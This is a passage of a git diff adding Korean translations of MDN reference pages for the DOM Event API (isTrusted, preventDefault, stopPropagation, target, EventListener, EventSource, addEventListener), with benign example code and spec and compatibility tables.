+ <li>사용 가능한 이벤트 유형: <a href="/ko/docs/Web/Events">이벤트 참고서</a></li>
+ <li><a href="/ko/docs/Web/API/Event/Comparison_of_Event_Targets">이벤트 대상의 비교</a> (<code>target</code> vs <code>currentTarget</code> vs <code>relatedTarget</code> vs <code>originalTarget</code>)</li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/Events/Creating_and_triggering_events">이벤트 생성 및 트리거</a></li>
+</ul>
diff --git a/files/ko/web/api/event/istrusted/index.html b/files/ko/web/api/event/istrusted/index.html
new file mode 100644
index 0000000000..afce93c401
--- /dev/null
+++ b/files/ko/web/api/event/istrusted/index.html
@@ -0,0 +1,61 @@
+---
+title: Event.isTrusted
+slug: Web/API/Event/isTrusted
+tags:
+  - API
+  - Event
+  - Property
+  - Read-only
+  - Reference
+  - 속성
+  - 이벤트
+translation_of: Web/API/Event/isTrusted
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>{{domxref("Event")}} 인터페이스의 읽기 전용 속성인 <strong><code>isTrusted</code></strong>는, 이벤트가 사용자 행위에 의하여 발생되었으면 <code>true</code>이고 이벤트가 스크립트로 인해 생성 또는 수정되었거나 <code>dispatchEvent</code>를 통해 보내졌으면 <code>false</code>인 논리 값입니다. 이것이 <code>true</code>인 이벤트는 <strong>신뢰된다</strong>고 표현합니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="syntaxbox">var bool = event.isTrusted;
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre> if(event.isTrusted)
+ {
+    // 이 이벤트는 신뢰됩니다.
+ }
+ else
+ {
+    // 이 이벤트는 신뢰되지 않습니다.
+ }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-istrusted', 'Event.isTrusted')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#trusted-events', 'Trusted events')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>이벤트가 신뢰되기 위한 요건을 추가하였으나 <code>isTrusted</code> 속성을 정의하지는 않았습니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Event.isTrusted")}}</p>
diff --git a/files/ko/web/api/event/preventdefault/index.html b/files/ko/web/api/event/preventdefault/index.html
new file mode 100644
index 0000000000..71f4fdb229
--- /dev/null
+++ b/files/ko/web/api/event/preventdefault/index.html
@@ -0,0 +1,93 @@
+---
+title: event.preventDefault
+slug: Web/API/Event/preventDefault
+translation_of: Web/API/Event/preventDefault
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id=".E6.A6.82.E8.A6.81" name=".E6.A6.82.E8.A6.81">개요</h3>
+
+<p>이벤트를 취소할 수 있는 경우, 이벤트의 전파를 막지않고 그 이벤트를 취소합니다.</p>
+
+<h3 id=".E6.A7.8B.E6.96.87" name=".E6.A7.8B.E6.96.87">구문</h3>
+
+<pre class="eval"><em>event</em>.preventDefault()
+</pre>
+
+<h3 id=".E4.BE.8B" name=".E4.BE.8B">예제</h3>
+
+<p>다음의 예제에서는 체크박스를 클릭했을 때 발생하는 동작을 멈추는 방법을 살펴보겠습니다. </p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;preventDefault 예제&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function stopDefAction(evt) {
+  evt.preventDefault();
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;체크박스 컨트롤을 클릭해 주세요&lt;/p&gt;
+
+&lt;form&gt;
+&lt;input type="checkbox" onclick="stopDefAction(event);"/&gt;
+&lt;label for="checkbox"&gt;체크박스&lt;/label&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code>preventDefault의 예제를 </code><a class="external" href="http://developer.mozilla.org/samples/domref/dispatchEvent.html" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;">여기</a><code>에서 확인할 수 있습니다.</code></p>
+
+<p>아래의 예제에서는, preventDefault() 를 사용해서 올바르지 않은 텍스트가 입력란에 입력되는것을 막는 방법을 설명하고 있습니다.</p>
+
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;preventDefault 예제&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function checkName(evt) {
+var charCode = evt.charCode;
+
+  if (charCode != 0) {
+    if (charCode &lt; 97 || charCode &gt; 122) {
+      evt.preventDefault();
+      alert("소문자만 입력할 수 있습니다." + "\n"
+            + "charCode: " + charCode + "\n"
+      );
+    }
+  }
+}
+
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;p&gt;당신의 이름을 소문자만으로 입력해주세요.&lt;/p&gt;
+&lt;form&gt;
+&lt;input type="text" onkeypress="checkName(event);"/&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id=".E6.B3.A8.E6.84.8F.E7.82.B9" name=".E6.B3.A8.E6.84.8F.E7.82.B9">주의</h3>
+
+<p>이벤트를 취소하는 도중에 preventDefault를 호출하게되면, 일반적으로는 브라우저의 구현에 의해 처리되는 기존의 액션이 동작하지 않게되고, 그 결과 이벤트가 발생하지 않게됩니다.</p>
+
+<p>이벤트의 취소가능 여부는 <a href="/ko/DOM/event.cancelable" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="ko/DOM/event.cancelable">event.cancelable</a>를 사용해서 확인할 수 있습니다. 취소불가능한 이벤트에 대해서 preventDefault를 호출해도 결과는 없습니다.</p>
+
+<p>preventDefault는 DOM을 통한 이벤트의 전파를 막지않습니다. 전파를 막을때는 <a href="/ko/docs/Web/API/Event/stopPropagation" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="ko/DOM/event.stopPropagation">event.stopPropagation</a>를 사용해주세요.</p>
+
+<h3 id=".E4.BB.95.E6.A7.98.E6.9B.B8" name=".E4.BB.95.E6.A7.98.E6.9B.B8">사양</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-Event-preventDefault">DOM Level 2 Events: preventDefault</a></p>
diff --git a/files/ko/web/api/event/stopimmediatepropagation/index.html b/files/ko/web/api/event/stopimmediatepropagation/index.html
new file mode 100644
index 0000000000..6c2bc93b84
--- /dev/null
+++ b/files/ko/web/api/event/stopimmediatepropagation/index.html
@@ -0,0 +1,91 @@
+---
+title: Event.stopImmediatePropagation()
+slug: Web/API/Event/stopImmediatePropagation
+translation_of: Web/API/Event/stopImmediatePropagation
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>event.stopImmediatePropagation()</code> 는 같은 이벤트에서 다른 리스너들이 불려지는 것을 막습니다. </p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="eval"><em>event</em>.stopImmediatePropagation();
+</pre>
+
+<h2 id="주석">주석</h2>
+
+<p>만약  다양한 리스너들이 같은 이벤트타입을 위한 같은 요소에 소속되어 있다면 그들은 추가 된 순서대로 불리게 될 것입니다. 만약 <code>event.stopImmediatePropagation()을 호출하면, 남아있는 리스너들이 불리는 일이 없을 것입니다.</code></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("6.0")}}</td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatIE(9.0)}}</td>
+   <td>{{CompatOpera("15.0")}}</td>
+   <td>{{CompatSafari("5.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/event/stoppropagation/index.html b/files/ko/web/api/event/stoppropagation/index.html
new file mode 100644
index 0000000000..bead1eceb9
--- /dev/null
+++ b/files/ko/web/api/event/stoppropagation/index.html
@@ -0,0 +1,99 @@
+---
+title: Event.stopPropagation()
+slug: Web/API/Event/stopPropagation
+translation_of: Web/API/Event/stopPropagation
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>이벤트 캡쳐링과 버블링에 있어 현재 이벤트 이후의 전파를 막습니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>event</em>.stopPropagation();</pre>
+
+<h2 id="예시">예시</h2>
+
+<p>DOM에서 이 방법과 이벤트 전파의 더욱 상세한 예시를 위한 예제 5:  <a href="https://developer.mozilla.org/en-US/docs/DOM/DOM_Reference/Examples#Example_5:_Event_Propagation">Event Propagation</a> 를 보세요.</p>
+
+<h2 id="주석">주석</h2>
+
+<p>이벤트 흐름의 설명을 위한 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">DOM 명세</a> 를 보세요. ( <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM 레벨 3 이벤트 초안</a>에는 삽화가 들어가 있습니다.)</p>
+
+<p><a href="/en-US/docs/Web/API/event.preventDefault">preventDefault</a>는 이벤트의 기본적인 동작(캡쳐링과 버블링)이 일어나는 것을 막기위해 보완적으로 사용되는 방법입니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/api/event/target/index.html b/files/ko/web/api/event/target/index.html
new file mode 100644
index 0000000000..02fbdd8726
--- /dev/null
+++ b/files/ko/web/api/event/target/index.html
@@ -0,0 +1,96 @@
+---
+title: Event.target
+slug: Web/API/Event/target
+tags:
+  - 돔
+  - 레퍼런스
+  - 속성
+  - 이벤트
+  - 타겟
+translation_of: Web/API/Event/target
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>{{domxref("Event")}} interface의 <code><strong>target</strong></code> 속성은  event가 전달한 객체에 대한 참조입니다. 이는 이벤트의 버블링 또는 캡처 단계에서 이벤트 핸들러를 호출하는 {{domxref("Event.currentTarget")}}와 다릅니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">theTarget = event.target</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{domxref("EventTarget")}}</p>
+
+<h2 id="Example">Example</h2>
+
+<p><code>event.target</code> 속성을 사용하여 <strong>event delegation</strong>을 구현할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">// Make a list
+var ul = document.createElement('ul');
+document.body.appendChild(ul);
+
+var li1 = document.createElement('li');
+var li2 = document.createElement('li');
+ul.appendChild(li1);
+ul.appendChild(li2);
+
+function hide(e){
+  // e.target refers to the clicked &lt;li&gt; element
+  // This is different than e.currentTarget which would refer to the parent &lt;ul&gt; in this context
+  e.target.style.visibility = 'hidden';
+}
+
+// Attach the listener to the list
+// It will fire when each &lt;li&gt; is clicked
+ul.addEventListener('click', hide, false);
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Event.target")}}</p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>On IE 6-8 the event model is different. Event listeners are attached with the non-standard {{domxref('EventTarget.attachEvent')}} method. In this model, the event object has a {{domxref('Event.srcElement')}} property, instead of the <code>target</code> property, and it has the same semantics as <code>event.target</code>.</p>
+
+<pre class="brush: js notranslate">function hide(e) {
+  // Support IE6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a></li>
+</ul>
diff --git a/files/ko/web/api/eventlistener/index.html b/files/ko/web/api/eventlistener/index.html
new file mode 100644
index 0000000000..ca59ea3c43
--- /dev/null
+++ b/files/ko/web/api/eventlistener/index.html
@@ -0,0 +1,84 @@
+---
+title: EventListener
+slug: Web/API/EventListener
+translation_of: Web/API/EventListener
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><strong><code>EventListener</code></strong> 인터페이스는 {{domxref("EventTarget")}} 객체로부터 발생한 이벤트를  처리하기 위한 오브젝트를 말합니다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> 레거시 코드와의 호환성을 유지하기 위해서, <code>EventListener</code> 는 함수 혹은 <code>handleEvent()</code> 함수를 가진 오브젝트를 인자로 받습니다.  아래의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/EventListener$translate?tolocale=ko#Example">예제</a>에서 확인해보세요.</p>
+</div>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 구현체나, 상속, 속성 어떤것도 갖고 있지 않습니다.</em></p>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>이 인터페이스는 어떤 메소드도 상속받지 않습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("EventListener.handleEvent()")}}</dt>
+ <dd>주어진 타입의 이벤트가 발생할 때마다 호출될 함수입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;button id="btn"&gt;여기를 눌러보세요!&lt;/button&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const buttonElement = document.getElementById('btn');
+
+// 콜백 함수를 제공함으로써 '클릭' 이벤트를 처리하는 핸들러를 추가합니다.
+// 엘리먼트가 클릭될 떄마다, "누름!" 팝업이 나타날것입니다.
+buttonElement.addEventListener('click', function (event) {
+  alert('누름!');
+});
+
+// 호환성을 위해서, 함수가 아닌 `handleEvent` 속성을 가진 오브젝트도
+// 똑같이 처리됩니다.
+buttonElement.addEventListener('click', {
+  handleEvent: function (event) {
+    alert('handleEvent 함수로 누름!');
+  }
+});
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Example')}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#callbackdef-eventlistener', 'EventListener')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-EventListener', 'EventListener')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.EventListener")}}</p>
diff --git a/files/ko/web/api/eventsource/eventsource/index.html b/files/ko/web/api/eventsource/eventsource/index.html
new file mode 100644
index 0000000000..dc285494a4
--- /dev/null
+++ b/files/ko/web/api/eventsource/eventsource/index.html
@@ -0,0 +1,79 @@
+---
+title: EventSource()
+slug: Web/API/EventSource/EventSource
+tags:
+  - API
+  - EventSource
+  - 레퍼런스
+  - 생성자
+  - 서버 전송 이벤트
+translation_of: Web/API/EventSource/EventSource
+---
+<div>{{APIRef('WebSockets API')}}</div>
+
+<p><code><strong>EventSource</strong></code><strong><code>()</code></strong> 생성자는 원격 자원을 나타내는 새롭게 생성된 {{domxref("EventSource")}} 를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">eventSource = new EventSource(<em>url</em>, <em>configuration</em>);</pre>
+
+<h3 class="syntaxbox" id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>이벤트/메시지를 제공하는 원격 자원의 위치를 나타내는 {{domxref("USVString")}} 입니다.</dd>
+ <dt><code>configuration</code> {{optional_inline}}</dt>
+ <dd>새 연결 구성을 위한 옵션을 제공합니다. 가능한 항목은 다음과 같습니다.
+ <ul>
+  <li><code>withCredentials</code>. 기본값은 <code>false</code> 이며, CORS 가 자격을 <code>포함</code>하도록 설정되어야하는지를 나타냅니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js">var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}</pre>
+
+<div class="note">
+<p><strong>노트</strong>: GitHub 에서 전체 예시를 확인할 수 있습니다 — <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP를 사용하는 간단한 SSE 데모</a>를 보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#dom-eventsource", "EventSource()")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+</ul>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.EventSource.EventSource")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("EventSource")}}</li>
+</ul>
diff --git a/files/ko/web/api/eventsource/index.html b/files/ko/web/api/eventsource/index.html
new file mode 100644
index 0000000000..9d0df03b5d
--- /dev/null
+++ b/files/ko/web/api/eventsource/index.html
@@ -0,0 +1,121 @@
+---
+title: EventSource
+slug: Web/API/EventSource
+tags:
+  - API
+  - Communications
+  - EventSource
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - Server Sent Events
+  - Server-sent events
+  - TopicStub
+  - messaging
+translation_of: Web/API/EventSource
+---
+<div>{{APIRef("Server Sent Events")}}</div>
+
+<p><span class="seoSummary"><strong><code>EventSource</code></strong> 인터페이스는 <a href="/en-US/docs/Web/API/Server-sent_events">server-sent events</a>에 대한 웹 콘텐츠 인터페이스입니다. <code>EventSource</code> 인스턴스는 <code>text/event-stream</code> 포맷으로 이벤트를 보내는 <a href="/en-US/docs/Web/HTTP">HTTP</a> 서버에 지속적인 연결을 합니다. 연결은</span>{{domxref("EventSource.close()")}}<span class="seoSummary"> 호출로 종료되지 전까지 지속됩니다.</span></p>
+
+<p><span class="seoSummary">연결이 시작되었을 때, 서버로부터 들어오는 메세지들은 이벤트의 형태로 코드에 전달됩니다. 들어온 메시지에 이벤트 필드가 있다면, 트리거된 이벤트는 이벤트 필드의 값과 같게 됩니다. 만약 이벤트 필드가 비어있다면, 그 땐 </span>제네릭 {{event("message")}} 이벤트가 발생됩니다.</p>
+
+<p><a href="/ko/docs/Web/API/WebSockets_API">웹소켓</a>과 다르게, server-sent 이벤트는 단방향입니다. 데이터 메시지가 서버에서 클라이언트로 (유저의 웹 브라우저 같은) 한 방향으로 전달되는 것입니다. 이 특징은 클라이언트에서 서버로 메시지 형태로 데이터를 보낼 필요가 없을 때, server-sent 이벤트를 훌륭한 선택으로 만든다. 예를 들어,  <code>EventSource</code> 는 소셜 미디어 상태 업데이트, 뉴스피드나 <a href="/ko/docs/Web/API/IndexedDB_API">IndexedDB</a>나 <a href="/ko/docs/Web/API/Web_Storage_API">web storage</a>같은 <a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">클라이언트-사이드 저장</a> 매커니즘으로 데이터를 전달하는 데 유용한 접근법입니다.</p>
+
+<dl>
+</dl>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("EventSource.EventSource", "EventSource()")}}</dt>
+ <dd>Creates a new <code>EventSource</code> to handle receiving server-sent events from a specified URL, optionally in credentials mode.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties from its parent, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("EventSource.readyState")}} {{readonlyinline}}</dt>
+ <dd>A number representing the state of the connection. Possible values are <code>CONNECTING</code> (<code>0</code>), <code>OPEN</code> (<code>1</code>), or <code>CLOSED</code> (<code>2</code>).</dd>
+ <dt>{{domxref("EventSource.url")}} {{readonlyinline}}</dt>
+ <dd>A {{domxref("DOMString")}} representing the URL of the source.</dd>
+ <dt>{{domxref("EventSource.withCredentials")}} {{readonlyinline}}</dt>
+ <dd>A {{domxref("Boolean")}} indicating whether the <code>EventSource</code> object was instantiated with cross-origin (<a href="/en-US/docs/Web/HTTP/CORS">CORS</a>) credentials set (<code>true</code>), or not (<code>false</code>, the default).</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("EventSource.onerror")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} called when an error occurs and the {{event("error")}} event is dispatched on an <code>EventSource</code> object.</dd>
+ <dt>{{domxref("EventSource.onmessage")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} called when a {{event("message")}} event is received, that is when a message is coming from the source.</dd>
+ <dt>{{domxref("EventSource.onopen")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} called when an {{event("open")}} event is received, that is when the connection was just opened.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>이 인터페이스는 부모인 <em>{{domxref("EventTarget")}}</em>으로부터 메소드를 상속받고 있습니다.</p>
+
+<dl>
+ <dt>{{domxref("EventSource.close()")}}</dt>
+ <dd>Closes the connection, if any, and sets the <code>readyState</code> attribute to <code>CLOSED</code>. If the connection is already closed, the method does nothing.</dd>
+</dl>
+
+<h2 id="예시">예시</h2>
+
+<p>이 기초적인 예시에서, <code>EventSource</code>는 서버로 부터 받은 이벤트로 생성되었습니다; <code>"sse.php"</code>라는 이름을 가진 페이지는 이벤트를 생성할 책임이 있습니다.</p>
+
+<pre class="brush: js">var evtSource = new EventSource('sse.php');
+var eventList = document.querySelector('ul');
+
+evtSource.onmessage = function(e) {
+  var newElement = document.createElement("li");
+
+  newElement.textContent = "message: " + e.data;
+  eventList.appendChild(newElement);
+}</pre>
+
+<p>각각의 수신한 이벤트는 우리의  <code>EventSource</code> 객체의 <code>onmessage</code> 이벤트 핸들러가 실행되도록 합니다. 차례가 되었을 때, 새로운 {{HTMLElement("li")}} 요소를 생성하고, 메시지 데이터를 안에 작성합니다. 그 때, 문서에 이미 존재하는 ul 요소에 새로운 요소를 추가하게 됩니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can find a full example on GitHub — see <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#the-eventsource-interface", "EventSource")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<ul>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.EventSource")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a></li>
+ <li><a href="/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events" title="en/Server-sent events/Using server-sent events">Using server-sent events</a></li>
+</ul>
diff --git a/files/ko/web/api/eventtarget/addeventlistener/index.html b/files/ko/web/api/eventtarget/addeventlistener/index.html
new file mode 100644
index 0000000000..2e824e174b
--- /dev/null
+++ b/files/ko/web/api/eventtarget/addeventlistener/index.html
@@ -0,0 +1,690 @@
+---
+title: EventTarget.addEventListener()
+slug: Web/API/EventTarget/addEventListener
+tags:
+  - API
+  - DOM
+  - Event Handlers
+  - Event Listener
+  - EventTarget
+  - JavaScript
+  - Method
+  - Reference
+translation_of: Web/API/EventTarget/addEventListener
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p><span class="seoSummary">{{domxref("EventTarget")}}의 <code><strong>addEventListener()</strong></code> 메서드는 지정한 이벤트가 대상에 전달될 때마다 호출할 함수를 설정합니다.</span> 일반적인 대상은 {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("Window")}}지만, {{domxref("XMLHttpRequest")}}와 같이 이벤트를 지원하는 모든 객체를 대상으로 지정할 수 있습니다.</p>
+
+<p><code>addEventListener()</code>는 {{domxref("EventTarget")}}의 주어진 이벤트 유형에, {{domxref("EventListener")}}를 구현한 함수 또는 객체를 이벤트 처리기 목록에 추가해 작동합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>target</em>.addEventListener(<em>type</em>, <em>listener[</em>, <em>options</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>listener[</em>, <em>useCapture</em>]);
+<em>target</em>.addEventListener(<em>type</em>, <em>listener[</em>, <em>useCapture</em>, <em>wantsUntrusted </em>{{Non-standard_inline}}]); // Gecko/Mozilla only</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>반응할 <a href="/ko/docs/Web/Events">이벤트 유형</a>을 나타내는 대소문자 구분 문자열.</dd>
+ <dt><code>listener</code></dt>
